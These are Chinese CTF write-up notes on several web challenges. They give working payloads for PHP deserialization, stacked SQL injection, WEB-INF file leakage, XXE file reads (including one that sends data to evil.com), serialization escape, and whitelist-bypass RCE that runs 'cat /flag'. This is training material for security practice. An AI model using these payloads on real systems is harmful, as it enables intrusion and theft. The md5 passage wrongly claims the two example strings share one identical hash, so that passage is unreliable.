[网鼎杯 2020 青龙组]AreUSerialz
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
- 要进入read函数里面的file_get_contents($this->filename),需要满足op参数若等于字符2,但是强不等于字符2,那么op等于数字2就行了,同时还需要传入filename=flag.php
<?php
class FileHandler {
protected $op=2;
protected $filename='flag.php';
}
$a= new FileHandler;
echo base64_encode(serialize($a));
?>
- 上面是错误示范,因为原文有ascll的限制,这里要利用php7.1+的特性,对属性类型不敏感,private,public,protected可以随便换
<?php
class FileHandler {
protected $op=2;
public $filename='flag.php';
}
$a= new FileHandler;
echo serialize($a);
?>
[GYCTF2020]Blacklist
- HANDLER ... OPEN语句打开一个表,使其可以使用后续HANDLER ... READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE或会话终止之前不会关闭
HANDLER 表名 OPEN;
HANDLER 表名 READ FIRST;
HANDLER 表名 CLOSE;
1';show databases;#
1';show tables;#
0';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#
[RoarCTF2019]Easy java
- 本题属于WEB-INF/web.xml泄露
- WEB-INF是Java的WEB应用的安全目录。如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问
- /WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
- 要猜出来(或者扫描出来)有个download目录,在该目录post一个
filename=WEB-INF/web.xml
<web-app xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0">
<welcome-file-list>
<welcome-file>Index</welcome-file>
</welcome-file-list>
<servlet>
<servlet-name>IndexController</servlet-name>
<servlet-class>com.wm.ctf.IndexController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>IndexController</servlet-name>
<url-pattern>/Index</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>LoginController</servlet-name>
<servlet-class>com.wm.ctf.LoginController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>LoginController</servlet-name>
<url-pattern>/Login</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>DownloadController</servlet-name>
<servlet-class>com.wm.ctf.DownloadController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadController</servlet-name>
<url-pattern>/Download</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>FlagController</servlet-name>
<url-pattern>/Flag</url-pattern>
</servlet-mapping>
</web-app>
- 有个com.wm.ctf.FlagController,尝试下载这个class文件
filename=WEB-INF/classes/com/wm/ctf/FlagController.class
! " flag Ljava/lang/String; <init> ()V Code LineNumberTable doGet R(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V
Exceptions # $
SourceFile FlagController.java RuntimeVisibleAnnotations %Ljavax/servlet/annotation/WebServlet; name FlagController <ZmxhZ3szMWUyNzMyNy1iM2VjLTRlZjktYTIyMS0wOGMzOTg2NTNkNmR9Cg==
% & ' &<h1>Flag is nearby ~ Come on! ! !</h1> ( ) * javax/servlet/http/HttpServlet javax/servlet/ServletException java/io/IOException &javax/servlet/http/HttpServletResponse getWriter ()Ljava/io/PrintWriter; java/io/PrintWriter print (Ljava/lang/String;)V !
[BJDCTF2020]The mystery of ip
[NCTF2019]Fake XML cookbook
定义实体:
<!DOCTYPE foo [
<!ENTITY bar "hello world">
]>
<root>&bar;</root>
引用本地文件:
<!DOCTYPE foo [
<!ENTITY bar SYSTEM "file:///etc/passwd">
]>
<root>&bar;</root>
引用远程文件:
<!DOCTYPE foo [
<!ENTITY bar SYSTEM "http://evil.com/malicious.dtd">
]>
<root>&bar;</root>
实体值作为参数传递:
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY % remoteEntity "<!ENTITY % % xxe SYSTEM 'http://evil.com/?%xxe;'>">
%remoteEntity;
]>
- 抓包,向之前抓包猜出来的doLogin.php给post一个xxe进去(不知道为什么这里可以直接post)
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///flag">
]>
<user><username>&admin;</username><password>123456</password></user>
[安洵杯2019]easy_web
- 观察传参,有个img参数,拿给chatgpt转码一下,两次base64编码,一次16进制编码解码之后得到555.png,猜测这个参数可以显示源码,传入index.php经过这样编码之后的字符串
- 查看源码,只要a和b值不同但是md5值相同即可拿到shell
在 PHP 中,可以通过将字符串转换为 md5 哈希值来实现字符串的加密和验证。由于 md5 算法的散列结果具有固定长度并
且非常随机,因此相同的字符串将生成相同的 md5 哈希值,而不同的字符串也可能生成相同的 md5 哈希值,这就是哈希
碰撞。
有些字符串虽然在 PHP 中进行弱比较时(使用“==”运算符)不相等,但它们的 md5 哈希值相同。这是因为 md5 哈希碰撞
使得两个不同的字符串产生相同的哈希值,例如:
$str1 = '240610708';
$str2 = 'QNKCDZO';
if ($str1 == $str2) {
echo 'Strings are equal!';
} else {
echo 'Strings are not equal!';
}
// Output: Strings are not equal!
if (md5($str1) == md5($str2)) {
echo 'Hashes are equal!';
} else {
echo 'Hashes are not equal!';
}
// Output: Hashes are equal!
在上面的例子中,$str1 和 $str2 是不同的字符串,但是它们的 md5 哈希值都是 0e462097431906509019562988736854,因此在使用 md5 哈希值进行比较时,它们是相等的。
ca/t%20/flag
[安洵杯 2019]easy_serialize_php
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
- extract函数取数组键名做变量名,取值做变量的值,因为$_SESSION['function'] = $function;,所以$_SESSION['function']的值可以被随意覆盖
- }else if($function == 'phpinfo'){ eval('phpinfo();'); //maybe you can find something in here!提示查看phpinfo,得到flag的文件名
post
fuction=phpinfo
- 这里采用键值逃逸
- 正常情况下,传入一个function=show_image,再直接传入下面即可,但是
$_SESSION['img'] = base64_encode('guest_img.png');
得到a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
- 但是后面有个$_SESSION['img'] = base64_encode('guest_img.png');把img的值覆盖了,我们可以传一个变量,将后面整体注释掉
$_SESSION['phpflag']=";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";
得到a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
- 这样原本表示phpflag变量长度的";s:48:就被无关紧要的s:1:"1"替换了,同时后面的s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}也足以将后端的赋值给注释掉.整个操作相当于将前面字符长度限制弄没了,把原本phpflag的值当成了之后要用到的一对键和值
[CISCN 2019 初赛]Love Math
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
?c=($_GET[pi])($_GET[abs])&pi=system&abs=cat /flag
$_GET{pi}($_GET{abs})&pi=system&abs=cat /flag
- base_convert(123456,10,16)意思是十进制下的123456转换成16进制。dechex:将十进制转化成十六进制。
- _GET=hex2bin(5f 47 45 54) 然而hex2bin也是白名单以外的函数 用base_convert()函数将10进制数转化为36进制的hex2bin
- hex2bin=base_convert(37907361743,10,36)
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{abs})($$pi{acos})&abs=system&acos=cat /flag
- 5f 47 45 54也不能直接填,因为会被preg_matchall('/[a-zA-Z\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); 这句话当作函数名放进白名单里检测,所以5f 47 45 54也需要经过进制转化
- 5f474554=dechex(1598506324)
- 将_GET存进一个变量里
$pi=base_convert(37907361743,10,36)(dechex(1598506324));
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag